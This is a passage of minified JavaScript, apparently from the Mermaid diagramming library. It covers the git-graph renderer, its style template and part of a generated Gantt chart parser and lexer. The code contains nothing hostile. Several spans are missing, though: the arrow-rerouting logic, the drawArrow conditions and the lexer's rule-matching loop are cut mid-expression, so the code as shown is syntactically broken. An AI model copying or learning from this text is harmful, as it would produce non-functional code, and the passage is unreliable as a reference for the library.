${s}`);l.parents.length?(n=AKe(l),i=Math.max(n,i)):a.push(l),_Ke(l,n)}),n=i,a.forEach(s=>{DKe(s,n,r)}),t.forEach(s=>{let l=e.get(s);if(l?.parents.length){let u=EKe(l.parents);n=Qs.get(u).y-Wf,n<=i&&(i=n);let h=Ks.get(l.branch).pos,f=n-qf;Qs.set(l.id,{x:h,y:f})}})},"setParallelBTPos"),CKe=o(t=>{let e=Dge(t.parents.filter(n=>n!==null));if(!e)throw new Error(`Closest parent not found for commit ${t.id}`);let r=Qs.get(e)?.y;if(r===void 0)throw new Error(`Closest parent position not found for commit ${t.id}`);return r},"findClosestParentPos"),AKe=o(t=>CKe(t)+Wf,"calculateCommitPosition"),_Ke=o((t,e)=>{let r=Ks.get(t.branch);if(!r)throw new Error(`Branch not found for commit ${t.id}`);let n=r.pos,i=e+qf;return Qs.set(t.id,{x:n,y:i}),{x:n,y:i}},"setCommitPosition"),DKe=o((t,e,r)=>{let n=Ks.get(t.branch);if(!n)throw new Error(`Branch not found for commit ${t.id}`);let i=e+r,a=n.pos;Qs.set(t.id,{x:a,y:i})},"setRootPosition"),LKe=o((t,e,r,n,i,a)=>{if(a===rn.HIGHLIGHT)t.append("rect").attr("x",r.x-10).attr("y",r.y-10).attr("width",20).attr("height",20).attr("class",`commit ${e.id} commit-highlight${i%i0} ${n}-outer`),t.append("rect").attr("x",r.x-6).attr("y",r.y-6).attr("width",12).attr("height",12).attr("class",`commit ${e.id} commit${i%i0} ${n}-inner`);else if(a===rn.CHERRY_PICK)t.append("circle").attr("cx",r.x).attr("cy",r.y).attr("r",10).attr("class",`commit ${e.id} ${n}`),t.append("circle").attr("cx",r.x-3).attr("cy",r.y+2).attr("r",2.75).attr("fill","#fff").attr("class",`commit ${e.id} ${n}`),t.append("circle").attr("cx",r.x+3).attr("cy",r.y+2).attr("r",2.75).attr("fill","#fff").attr("class",`commit ${e.id} ${n}`),t.append("line").attr("x1",r.x+3).attr("y1",r.y+1).attr("x2",r.x).attr("y2",r.y-5).attr("stroke","#fff").attr("class",`commit ${e.id} ${n}`),t.append("line").attr("x1",r.x-3).attr("y1",r.y+1).attr("x2",r.x).attr("y2",r.y-5).attr("stroke","#fff").attr("class",`commit ${e.id} ${n}`);else{let s=t.append("circle");if(s.attr("cx",r.x),s.attr("cy",r.y),s.attr("r",e.type===rn.MERGE?9:10),s.attr("class",`commit ${e.id} commit${i%i0}`),a===rn.MERGE){let l=t.append("circle");l.attr("cx",r.x),l.attr("cy",r.y),l.attr("r",6),l.attr("class",`commit ${n} ${e.id} commit${i%i0}`)}a===rn.REVERSE&&t.append("path").attr("d",`M ${r.x-5},${r.y-5}L${r.x+5},${r.y+5}M${r.x-5},${r.y+5}L${r.x+5},${r.y-5}`).attr("class",`commit ${n} ${e.id} commit${i%i0}`)}},"drawCommitBullet"),RKe=o((t,e,r,n)=>{if(e.type!==rn.CHERRY_PICK&&(e.customId&&e.type===rn.MERGE||e.type!==rn.MERGE)&&il?.showCommitLabel){let i=t.append("g"),a=i.insert("rect").attr("class","commit-label-bkg"),s=i.append("text").attr("x",n).attr("y",r.y+25).attr("class","commit-label").text(e.id),l=s.node()?.getBBox();if(l&&(a.attr("x",r.posWithOffset-l.width/2-ih).attr("y",r.y+13.5).attr("width",l.width+2*ih).attr("height",l.height+2*ih),Vr==="TB"||Vr==="BT"?(a.attr("x",r.x-(l.width+4*Jc+5)).attr("y",r.y-12),s.attr("x",r.x-(l.width+4*Jc)).attr("y",r.y+l.height-12)):s.attr("x",r.posWithOffset-l.width/2),il.rotateCommitLabel))if(Vr==="TB"||Vr==="BT")s.attr("transform","rotate(-45, "+r.x+", "+r.y+")"),a.attr("transform","rotate(-45, "+r.x+", "+r.y+")");else{let u=-7.5-(l.width+10)/25*9.5,h=10+l.width/25*8.5;i.attr("transform","translate("+u+", "+h+") rotate(-45, "+n+", "+r.y+")")}}},"drawCommitLabel"),NKe=o((t,e,r,n)=>{if(e.tags.length>0){let i=0,a=0,s=0,l=[];for(let u of e.tags.reverse()){let h=t.insert("polygon"),f=t.append("circle"),d=t.append("text").attr("y",r.y-16-i).attr("class","tag-label").text(u),p=d.node()?.getBBox();if(!p)throw new Error("Tag bbox not found");a=Math.max(a,p.width),s=Math.max(s,p.height),d.attr("x",r.posWithOffset-p.width/2),l.push({tag:d,hole:f,rect:h,yOffset:i}),i+=20}for(let{tag:u,hole:h,rect:f,yOffset:d}of l){let p=s/2,m=r.y-19.2-d;if(f.attr("class","tag-label-bkg").attr("points",` + ${n-a/2-Jc/2},${m+ih} + ${n-a/2-Jc/2},${m-ih} + ${r.posWithOffset-a/2-Jc},${m-p-ih} + ${r.posWithOffset+a/2+Jc},${m-p-ih} + ${r.posWithOffset+a/2+Jc},${m+p+ih} + ${r.posWithOffset-a/2-Jc},${m+p+ih}`),h.attr("cy",m).attr("cx",n-a/2+Jc/2).attr("r",1.5).attr("class","tag-hole"),Vr==="TB"||Vr==="BT"){let g=n+d;f.attr("class","tag-label-bkg").attr("points",` + ${r.x},${g+2} + ${r.x},${g-2} + ${r.x+qf},${g-p-2} + ${r.x+qf+a+4},${g-p-2} + ${r.x+qf+a+4},${g+p+2} + ${r.x+qf},${g+p+2}`).attr("transform","translate(12,12) rotate(45, "+r.x+","+n+")"),h.attr("cx",r.x+Jc/2).attr("cy",g).attr("transform","translate(12,12) rotate(45, "+r.x+","+n+")"),u.attr("x",r.x+5).attr("y",g+3).attr("transform","translate(14,14) rotate(45, "+r.x+","+n+")")}}}},"drawCommitTags"),MKe=o(t=>{switch(t.customType??t.type){case rn.NORMAL:return"commit-normal";case rn.REVERSE:return"commit-reverse";case rn.HIGHLIGHT:return"commit-highlight";case rn.MERGE:return"commit-merge";case rn.CHERRY_PICK:return"commit-cherry-pick";default:return"commit-normal"}},"getCommitClassType"),IKe=o((t,e,r,n)=>{let i={x:0,y:0};if(t.parents.length>0){let a=Dge(t.parents);if(a){let s=n.get(a)??i;return e==="TB"?s.y+Wf:e==="BT"?(n.get(t.id)??i).y-Wf:s.x+Wf}}else return e==="TB"?M6:e==="BT"?(n.get(t.id)??i).y-Wf:0;return 0},"calculatePosition"),OKe=o((t,e,r)=>{let n=Vr==="BT"&&r?e:e+qf,i=Vr==="TB"||Vr==="BT"?n:Ks.get(t.branch)?.pos,a=Vr==="TB"||Vr==="BT"?Ks.get(t.branch)?.pos:n;if(a===void 0||i===void 0)throw new Error(`Position were undefined for commit ${t.id}`);return{x:a,y:i,posWithOffset:n}},"getCommitPosition"),Age=o((t,e,r)=>{if(!il)throw new Error("GitGraph config not found");let n=t.append("g").attr("class","commit-bullets"),i=t.append("g").attr("class","commit-labels"),a=Vr==="TB"||Vr==="BT"?M6:0,s=[...e.keys()],l=il?.parallelCommits??!1,u=o((f,d)=>{let p=e.get(f)?.seq,m=e.get(d)?.seq;return p!==void 0&&m!==void 0?p-m:0},"sortKeys"),h=s.sort(u);Vr==="BT"&&(l&&SKe(h,e,a),h=h.reverse()),h.forEach(f=>{let d=e.get(f);if(!d)throw new Error(`Commit not found for key ${f}`);l&&(a=IKe(d,Vr,a,Qs));let p=OKe(d,a,l);if(r){let m=MKe(d),g=d.customType??d.type,y=Ks.get(d.branch)?.index??0;LKe(n,d,p,m,y,g),RKe(i,d,p,a),NKe(i,d,p,a)}Vr==="TB"||Vr==="BT"?Qs.set(d.id,{x:p.x,y:p.posWithOffset}):Qs.set(d.id,{x:p.posWithOffset,y:p.y}),a=Vr==="BT"&&l?a+Wf:a+Wf+qf,a>Hf&&(Hf=a)})},"drawCommits"),PKe=o((t,e,r,n,i)=>{let s=(Vr==="TB"||Vr==="BT"?r.xh.branch===s,"isOnBranchToGetCurve"),u=o(h=>h.seq>t.seq&&h.sequ(h)&&l(h))},"shouldRerouteArrow"),f4=o((t,e,r=0)=>{let n=t+Math.abs(t-e)/2;if(r>5)return n;if(I6.every(s=>Math.abs(s-n)>=10))return I6.push(n),n;let a=Math.abs(t-e);return f4(t,e-a/5,r+1)},"findLane"),BKe=o((t,e,r,n)=>{let i=Qs.get(e.id),a=Qs.get(r.id);if(i===void 0||a===void 0)throw new Error(`Commit positions not found for commits ${e.id} and ${r.id}`);let s=PKe(e,r,i,a,n),l="",u="",h=0,f=0,d=Ks.get(r.branch)?.index;r.type===rn.MERGE&&e.id!==r.parents[0]&&(d=Ks.get(e.branch)?.index);let p;if(s){l="A 10 10, 0, 0, 0,",u="A 10 10, 0, 0, 1,",h=10,f=10;let m=i.ya.x&&(l="A 20 20, 0, 0, 0,",u="A 20 20, 0, 0, 1,",h=20,f=20,r.type===rn.MERGE&&e.id!==r.parents[0]?p=`M ${i.x} ${i.y} L ${i.x} ${a.y-h} ${u} ${i.x-f} ${a.y} L ${a.x} ${a.y}`:p=`M ${i.x} ${i.y} L ${a.x+h} ${i.y} ${l} ${a.x} ${i.y+f} L ${a.x} ${a.y}`),i.x===a.x&&(p=`M ${i.x} ${i.y} L ${a.x} ${a.y}`)):Vr==="BT"?(i.xa.x&&(l="A 20 20, 0, 0, 0,",u="A 20 20, 0, 0, 1,",h=20,f=20,r.type===rn.MERGE&&e.id!==r.parents[0]?p=`M ${i.x} ${i.y} L ${i.x} ${a.y+h} ${l} ${i.x-f} ${a.y} L ${a.x} ${a.y}`:p=`M ${i.x} ${i.y} L ${a.x-h} ${i.y} ${l} ${a.x} ${i.y-f} L ${a.x} ${a.y}`),i.x===a.x&&(p=`M ${i.x} ${i.y} L ${a.x} ${a.y}`)):(i.ya.y&&(r.type===rn.MERGE&&e.id!==r.parents[0]?p=`M ${i.x} ${i.y} L ${a.x-h} ${i.y} ${l} ${a.x} ${i.y-f} L ${a.x} ${a.y}`:p=`M ${i.x} ${i.y} L ${i.x} ${a.y+h} ${u} ${i.x+f} ${a.y} L ${a.x} ${a.y}`),i.y===a.y&&(p=`M ${i.x} ${i.y} L ${a.x} ${a.y}`));if(p===void 0)throw new Error("Line definition not found");t.append("path").attr("d",p).attr("class","arrow arrow"+d%i0)},"drawArrow"),FKe=o((t,e)=>{let r=t.append("g").attr("class","commit-arrows");[...e.keys()].forEach(n=>{let i=e.get(n);i.parents&&i.parents.length>0&&i.parents.forEach(a=>{BKe(r,e.get(a),i,e)})})},"drawArrows"),$Ke=o((t,e)=>{let r=t.append("g");e.forEach((n,i)=>{let a=i%i0,s=Ks.get(n.name)?.pos;if(s===void 0)throw new Error(`Position not found for branch ${n.name}`);let l=r.append("line");l.attr("x1",0),l.attr("y1",s),l.attr("x2",Hf),l.attr("y2",s),l.attr("class","branch branch"+a),Vr==="TB"?(l.attr("y1",M6),l.attr("x1",s),l.attr("y2",Hf),l.attr("x2",s)):Vr==="BT"&&(l.attr("y1",Hf),l.attr("x1",s),l.attr("y2",M6),l.attr("x2",s)),I6.push(s);let u=n.name,h=_ge(u),f=r.insert("rect"),p=r.insert("g").attr("class","branchLabel").insert("g").attr("class","label branch-label"+a);p.node().appendChild(h);let m=h.getBBox();f.attr("class","branchLabelBkg label"+a).attr("rx",4).attr("ry",4).attr("x",-m.width-4-(il?.rotateCommitLabel===!0?30:0)).attr("y",-m.height/2+8).attr("width",m.width+18).attr("height",m.height+4),p.attr("transform","translate("+(-m.width-14-(il?.rotateCommitLabel===!0?30:0))+", "+(s-m.height/2-1)+")"),Vr==="TB"?(f.attr("x",s-m.width/2-10).attr("y",0),p.attr("transform","translate("+(s-m.width/2-5)+", 0)")):Vr==="BT"?(f.attr("x",s-m.width/2-10).attr("y",Hf),p.attr("transform","translate("+(s-m.width/2-5)+", "+Hf+")")):f.attr("transform","translate(-19, "+(s-m.height/2)+")")})},"drawBranches"),zKe=o(function(t,e,r,n,i){return Ks.set(t,{pos:e,index:r}),e+=50+(i?40:0)+(Vr==="TB"||Vr==="BT"?n.width/2:0),e},"setBranchPosition"),GKe=o(function(t,e,r,n){if(kKe(),X.debug("in gitgraph renderer",t+` +`,"id:",e,r),!il)throw new Error("GitGraph config not found");let i=il.rotateCommitLabel??!1,a=n.db;h4=a.getCommits();let s=a.getBranchesAsObjArray();Vr=a.getDirection();let l=qe(`[id="${e}"]`),u=0;s.forEach((h,f)=>{let d=_ge(h.name),p=l.append("g"),m=p.insert("g").attr("class","branchLabel"),g=m.insert("g").attr("class","label branch-label");g.node()?.appendChild(d);let y=d.getBBox();u=zKe(h.name,u,f,y,i),g.remove(),m.remove(),p.remove()}),Age(l,h4,!1),il.showBranches&&$Ke(l,s),FKe(l,h4),Age(l,h4,!0),qt.insertTitle(l,"gitTitleText",il.titleTopMargin??0,a.getDiagramTitle()),FA(void 0,l,il.diagramPadding,il.useMaxWidth)},"draw"),Lge={draw:GKe}});var VKe,Nge,Mge=N(()=>{"use strict";VKe=o(t=>` + .commit-id, + .commit-msg, + .branch-label { + fill: lightgrey; + color: lightgrey; + font-family: 'trebuchet ms', verdana, arial, sans-serif; + font-family: var(--mermaid-font-family); + } + ${[0,1,2,3,4,5,6,7].map(e=>` + .branch-label${e} { fill: ${t["gitBranchLabel"+e]}; } + .commit${e} { stroke: ${t["git"+e]}; fill: ${t["git"+e]}; } + .commit-highlight${e} { stroke: ${t["gitInv"+e]}; fill: ${t["gitInv"+e]}; } + .label${e} { fill: ${t["git"+e]}; } + .arrow${e} { stroke: ${t["git"+e]}; } + `).join(` +`)} + + .branch { + stroke-width: 1; + stroke: ${t.lineColor}; + stroke-dasharray: 2; + } + .commit-label { font-size: ${t.commitLabelFontSize}; fill: ${t.commitLabelColor};} + .commit-label-bkg { font-size: ${t.commitLabelFontSize}; fill: ${t.commitLabelBackground}; opacity: 0.5; } + .tag-label { font-size: ${t.tagLabelFontSize}; fill: ${t.tagLabelColor};} + .tag-label-bkg { fill: ${t.tagLabelBackground}; stroke: ${t.tagLabelBorder}; } + .tag-hole { fill: ${t.textColor}; } + + .commit-merge { + stroke: ${t.primaryColor}; + fill: ${t.primaryColor}; + } + .commit-reverse { + stroke: ${t.primaryColor}; + fill: ${t.primaryColor}; + stroke-width: 3; + } + .commit-highlight-outer { + } + .commit-highlight-inner { + stroke: ${t.primaryColor}; + fill: ${t.primaryColor}; + } + + .arrow { stroke-width: 8; stroke-linecap: round; fill: none} + .gitTitleText { + text-anchor: middle; + font-size: 18px; + fill: ${t.textColor}; + } +`,"getStyles"),Nge=VKe});var Ige={};dr(Ige,{diagram:()=>UKe});var UKe,Oge=N(()=>{"use strict";Cge();pF();Rge();Mge();UKe={parser:Sge,db:N6,renderer:Lge,styles:Nge}});var mF,Fge,$ge=N(()=>{"use strict";mF=(function(){var t=o(function(D,_,O,M){for(O=O||{},M=D.length;M--;O[D[M]]=_);return O},"o"),e=[6,8,10,12,13,14,15,16,17,18,20,21,22,23,24,25,26,27,28,29,30,31,33,35,36,38,40],r=[1,26],n=[1,27],i=[1,28],a=[1,29],s=[1,30],l=[1,31],u=[1,32],h=[1,33],f=[1,34],d=[1,9],p=[1,10],m=[1,11],g=[1,12],y=[1,13],v=[1,14],x=[1,15],b=[1,16],T=[1,19],S=[1,20],w=[1,21],k=[1,22],A=[1,23],C=[1,25],R=[1,35],I={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,gantt:4,document:5,EOF:6,line:7,SPACE:8,statement:9,NL:10,weekday:11,weekday_monday:12,weekday_tuesday:13,weekday_wednesday:14,weekday_thursday:15,weekday_friday:16,weekday_saturday:17,weekday_sunday:18,weekend:19,weekend_friday:20,weekend_saturday:21,dateFormat:22,inclusiveEndDates:23,topAxis:24,axisFormat:25,tickInterval:26,excludes:27,includes:28,todayMarker:29,title:30,acc_title:31,acc_title_value:32,acc_descr:33,acc_descr_value:34,acc_descr_multiline_value:35,section:36,clickStatement:37,taskTxt:38,taskData:39,click:40,callbackname:41,callbackargs:42,href:43,clickStatementDebug:44,$accept:0,$end:1},terminals_:{2:"error",4:"gantt",6:"EOF",8:"SPACE",10:"NL",12:"weekday_monday",13:"weekday_tuesday",14:"weekday_wednesday",15:"weekday_thursday",16:"weekday_friday",17:"weekday_saturday",18:"weekday_sunday",20:"weekend_friday",21:"weekend_saturday",22:"dateFormat",23:"inclusiveEndDates",24:"topAxis",25:"axisFormat",26:"tickInterval",27:"excludes",28:"includes",29:"todayMarker",30:"title",31:"acc_title",32:"acc_title_value",33:"acc_descr",34:"acc_descr_value",35:"acc_descr_multiline_value",36:"section",38:"taskTxt",39:"taskData",40:"click",41:"callbackname",42:"callbackargs",43:"href"},productions_:[0,[3,3],[5,0],[5,2],[7,2],[7,1],[7,1],[7,1],[11,1],[11,1],[11,1],[11,1],[11,1],[11,1],[11,1],[19,1],[19,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,1],[9,2],[9,2],[9,1],[9,1],[9,1],[9,2],[37,2],[37,3],[37,3],[37,4],[37,3],[37,4],[37,2],[44,2],[44,3],[44,3],[44,4],[44,3],[44,4],[44,2]],performAction:o(function(_,O,M,P,B,F,G){var $=F.length-1;switch(B){case 1:return F[$-1];case 2:this.$=[];break;case 3:F[$-1].push(F[$]),this.$=F[$-1];break;case 4:case 5:this.$=F[$];break;case 6:case 7:this.$=[];break;case 8:P.setWeekday("monday");break;case 9:P.setWeekday("tuesday");break;case 10:P.setWeekday("wednesday");break;case 11:P.setWeekday("thursday");break;case 12:P.setWeekday("friday");break;case 13:P.setWeekday("saturday");break;case 14:P.setWeekday("sunday");break;case 15:P.setWeekend("friday");break;case 16:P.setWeekend("saturday");break;case 17:P.setDateFormat(F[$].substr(11)),this.$=F[$].substr(11);break;case 18:P.enableInclusiveEndDates(),this.$=F[$].substr(18);break;case 19:P.TopAxis(),this.$=F[$].substr(8);break;case 20:P.setAxisFormat(F[$].substr(11)),this.$=F[$].substr(11);break;case 21:P.setTickInterval(F[$].substr(13)),this.$=F[$].substr(13);break;case 22:P.setExcludes(F[$].substr(9)),this.$=F[$].substr(9);break;case 23:P.setIncludes(F[$].substr(9)),this.$=F[$].substr(9);break;case 24:P.setTodayMarker(F[$].substr(12)),this.$=F[$].substr(12);break;case 27:P.setDiagramTitle(F[$].substr(6)),this.$=F[$].substr(6);break;case 28:this.$=F[$].trim(),P.setAccTitle(this.$);break;case 29:case 30:this.$=F[$].trim(),P.setAccDescription(this.$);break;case 31:P.addSection(F[$].substr(8)),this.$=F[$].substr(8);break;case 33:P.addTask(F[$-1],F[$]),this.$="task";break;case 34:this.$=F[$-1],P.setClickEvent(F[$-1],F[$],null);break;case 35:this.$=F[$-2],P.setClickEvent(F[$-2],F[$-1],F[$]);break;case 36:this.$=F[$-2],P.setClickEvent(F[$-2],F[$-1],null),P.setLink(F[$-2],F[$]);break;case 37:this.$=F[$-3],P.setClickEvent(F[$-3],F[$-2],F[$-1]),P.setLink(F[$-3],F[$]);break;case 38:this.$=F[$-2],P.setClickEvent(F[$-2],F[$],null),P.setLink(F[$-2],F[$-1]);break;case 39:this.$=F[$-3],P.setClickEvent(F[$-3],F[$-1],F[$]),P.setLink(F[$-3],F[$-2]);break;case 40:this.$=F[$-1],P.setLink(F[$-1],F[$]);break;case 41:case 47:this.$=F[$-1]+" "+F[$];break;case 42:case 43:case 45:this.$=F[$-2]+" "+F[$-1]+" "+F[$];break;case 44:case 46:this.$=F[$-3]+" "+F[$-2]+" "+F[$-1]+" "+F[$];break}},"anonymous"),table:[{3:1,4:[1,2]},{1:[3]},t(e,[2,2],{5:3}),{6:[1,4],7:5,8:[1,6],9:7,10:[1,8],11:17,12:r,13:n,14:i,15:a,16:s,17:l,18:u,19:18,20:h,21:f,22:d,23:p,24:m,25:g,26:y,27:v,28:x,29:b,30:T,31:S,33:w,35:k,36:A,37:24,38:C,40:R},t(e,[2,7],{1:[2,1]}),t(e,[2,3]),{9:36,11:17,12:r,13:n,14:i,15:a,16:s,17:l,18:u,19:18,20:h,21:f,22:d,23:p,24:m,25:g,26:y,27:v,28:x,29:b,30:T,31:S,33:w,35:k,36:A,37:24,38:C,40:R},t(e,[2,5]),t(e,[2,6]),t(e,[2,17]),t(e,[2,18]),t(e,[2,19]),t(e,[2,20]),t(e,[2,21]),t(e,[2,22]),t(e,[2,23]),t(e,[2,24]),t(e,[2,25]),t(e,[2,26]),t(e,[2,27]),{32:[1,37]},{34:[1,38]},t(e,[2,30]),t(e,[2,31]),t(e,[2,32]),{39:[1,39]},t(e,[2,8]),t(e,[2,9]),t(e,[2,10]),t(e,[2,11]),t(e,[2,12]),t(e,[2,13]),t(e,[2,14]),t(e,[2,15]),t(e,[2,16]),{41:[1,40],43:[1,41]},t(e,[2,4]),t(e,[2,28]),t(e,[2,29]),t(e,[2,33]),t(e,[2,34],{42:[1,42],43:[1,43]}),t(e,[2,40],{41:[1,44]}),t(e,[2,35],{43:[1,45]}),t(e,[2,36]),t(e,[2,38],{42:[1,46]}),t(e,[2,37]),t(e,[2,39])],defaultActions:{},parseError:o(function(_,O){if(O.recoverable)this.trace(_);else{var M=new Error(_);throw M.hash=O,M}},"parseError"),parse:o(function(_){var O=this,M=[0],P=[],B=[null],F=[],G=this.table,$="",U=0,j=0,te=0,Y=2,oe=1,J=F.slice.call(arguments,1),ue=Object.create(this.lexer),re={yy:{}};for(var ee in this.yy)Object.prototype.hasOwnProperty.call(this.yy,ee)&&(re.yy[ee]=this.yy[ee]);ue.setInput(_,re.yy),re.yy.lexer=ue,re.yy.parser=this,typeof ue.yylloc>"u"&&(ue.yylloc={});var Z=ue.yylloc;F.push(Z);var K=ue.options&&ue.options.ranges;typeof re.yy.parseError=="function"?this.parseError=re.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function ae(Ce){M.length=M.length-2*Ce,B.length=B.length-Ce,F.length=F.length-Ce}o(ae,"popStack");function Q(){var Ce;return Ce=P.pop()||ue.lex()||oe,typeof Ce!="number"&&(Ce instanceof Array&&(P=Ce,Ce=P.pop()),Ce=O.symbols_[Ce]||Ce),Ce}o(Q,"lex");for(var de,ne,Te,q,Ve,pe,Be={},Ye,He,Le,Ie;;){if(Te=M[M.length-1],this.defaultActions[Te]?q=this.defaultActions[Te]:((de===null||typeof de>"u")&&(de=Q()),q=G[Te]&&G[Te][de]),typeof q>"u"||!q.length||!q[0]){var Ne="";Ie=[];for(Ye in G[Te])this.terminals_[Ye]&&Ye>Y&&Ie.push("'"+this.terminals_[Ye]+"'");ue.showPosition?Ne="Parse error on line "+(U+1)+`: +`+ue.showPosition()+` +Expecting `+Ie.join(", ")+", got '"+(this.terminals_[de]||de)+"'":Ne="Parse error on line "+(U+1)+": Unexpected "+(de==oe?"end of input":"'"+(this.terminals_[de]||de)+"'"),this.parseError(Ne,{text:ue.match,token:this.terminals_[de]||de,line:ue.yylineno,loc:Z,expected:Ie})}if(q[0]instanceof Array&&q.length>1)throw new Error("Parse Error: multiple actions possible at state: "+Te+", token: "+de);switch(q[0]){case 1:M.push(de),B.push(ue.yytext),F.push(ue.yylloc),M.push(q[1]),de=null,ne?(de=ne,ne=null):(j=ue.yyleng,$=ue.yytext,U=ue.yylineno,Z=ue.yylloc,te>0&&te--);break;case 2:if(He=this.productions_[q[1]][1],Be.$=B[B.length-He],Be._$={first_line:F[F.length-(He||1)].first_line,last_line:F[F.length-1].last_line,first_column:F[F.length-(He||1)].first_column,last_column:F[F.length-1].last_column},K&&(Be._$.range=[F[F.length-(He||1)].range[0],F[F.length-1].range[1]]),pe=this.performAction.apply(Be,[$,j,U,re.yy,q[1],B,F].concat(J)),typeof pe<"u")return pe;He&&(M=M.slice(0,-1*He*2),B=B.slice(0,-1*He),F=F.slice(0,-1*He)),M.push(this.productions_[q[1]][0]),B.push(Be.$),F.push(Be._$),Le=G[M[M.length-2]][M[M.length-1]],M.push(Le);break;case 3:return!0}}return!0},"parse")},L=(function(){var D={EOF:1,parseError:o(function(O,M){if(this.yy.parser)this.yy.parser.parseError(O,M);else throw new Error(O)},"parseError"),setInput:o(function(_,O){return this.yy=O||this.yy||{},this._input=_,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var _=this._input[0];this.yytext+=_,this.yyleng++,this.offset++,this.match+=_,this.matched+=_;var O=_.match(/(?:\r\n?|\n).*/g);return O?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),_},"input"),unput:o(function(_){var O=_.length,M=_.split(/(?:\r\n?|\n)/g);this._input=_+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-O),this.offset-=O;var P=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),M.length-1&&(this.yylineno-=M.length-1);var B=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:M?(M.length===P.length?this.yylloc.first_column:0)+P[P.length-M.length].length-M[0].length:this.yylloc.first_column-O},this.options.ranges&&(this.yylloc.range=[B[0],B[0]+this.yyleng-O]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(_){this.unput(this.match.slice(_))},"less"),pastInput:o(function(){var _=this.matched.substr(0,this.matched.length-this.match.length);return(_.length>20?"...":"")+_.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var _=this.match;return _.length<20&&(_+=this._input.substr(0,20-_.length)),(_.substr(0,20)+(_.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var _=this.pastInput(),O=new Array(_.length+1).join("-");return _+this.upcomingInput()+` +`+O+"^"},"showPosition"),test_match:o(function(_,O){var M,P,B;if(this.options.backtrack_lexer&&(B={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(B.yylloc.range=this.yylloc.range.slice(0))),P=_[0].match(/(?:\r\n?|\n).*/g),P&&(this.yylineno+=P.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:P?P[P.length-1].length-P[P.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+_[0].length},this.yytext+=_[0],this.match+=_[0],this.matches=_,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(_[0].length),this.matched+=_[0],M=this.performAction.call(this,this.yy,this,O,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),M)return M;if(this._backtrack){for(var F in B)this[F]=B[F];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var _,O,M,P;this._more||(this.yytext="",this.match="");for(var B=this._currentRules(),F=0;FO[0].length)){if(O=M,P=F,this.options.backtrack_lexer){if(_=this.test_match(M,B[F]),_!==!1)return _;if(this._backtrack){O=!1;continue}else return!1}else if(!this.options.flex)break}return O?(_=this.test_match(O,B[P]),_!==!1?_:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var O=this.next();return O||this.lex()},"lex"),begin:o(function(O){this.conditionStack.push(O)},"begin"),popState:o(function(){var O=this.conditionStack.length-1;return O>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(O){return O=this.conditionStack.length-1-Math.abs(O||0),O>=0?this.conditionStack[O]:"INITIAL"},"topState"),pushState:o(function(O){this.begin(O)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(O,M,P,B){var F=B;switch(P){case 0:return this.begin("open_directive"),"open_directive";break;case 1:return this.begin("acc_title"),31;break;case 2:return this.popState(),"acc_title_value";break;case 3:return this.begin("acc_descr"),33;break;case 4:return this.popState(),"acc_descr_value";break;case 5:this.begin("acc_descr_multiline");break;case 6:this.popState();break;case 7:return"acc_descr_multiline_value";case 8:break;case 9:break;case 10:break;case 11:return 10;case 12:break;case 13:break;case 14:this.begin("href");break;case 15:this.popState();break;case 16:return 43;case 17:this.begin("callbackname");break;case 18:this.popState();break;case 19:this.popState(),this.begin("callbackargs");break;case 20:return 41;case 21:this.popState();break;case 22:return 42;case 23:this.begin("click");break;case 24:this.popState();break;case 25:return 40;case 26:return 4;case 27:return 22;case 28:return 23;case 29:return 24;case 30:return 25;case 31:return 26;case 32:return 28;case 33:return 27;case 34:return 29;case 35:return 12;case 36:return 13;case 37:return 14;case 38:return 15;case 39:return 16;case 40:return 17;case 41:return 18;case 42:return 20;case 43:return 21;case 44:return"date";case 45:return 30;case 46:return"accDescription";case 47:return 36;case 48:return 38;case 49:return 39;case 50:return":";case 51:return 6;case 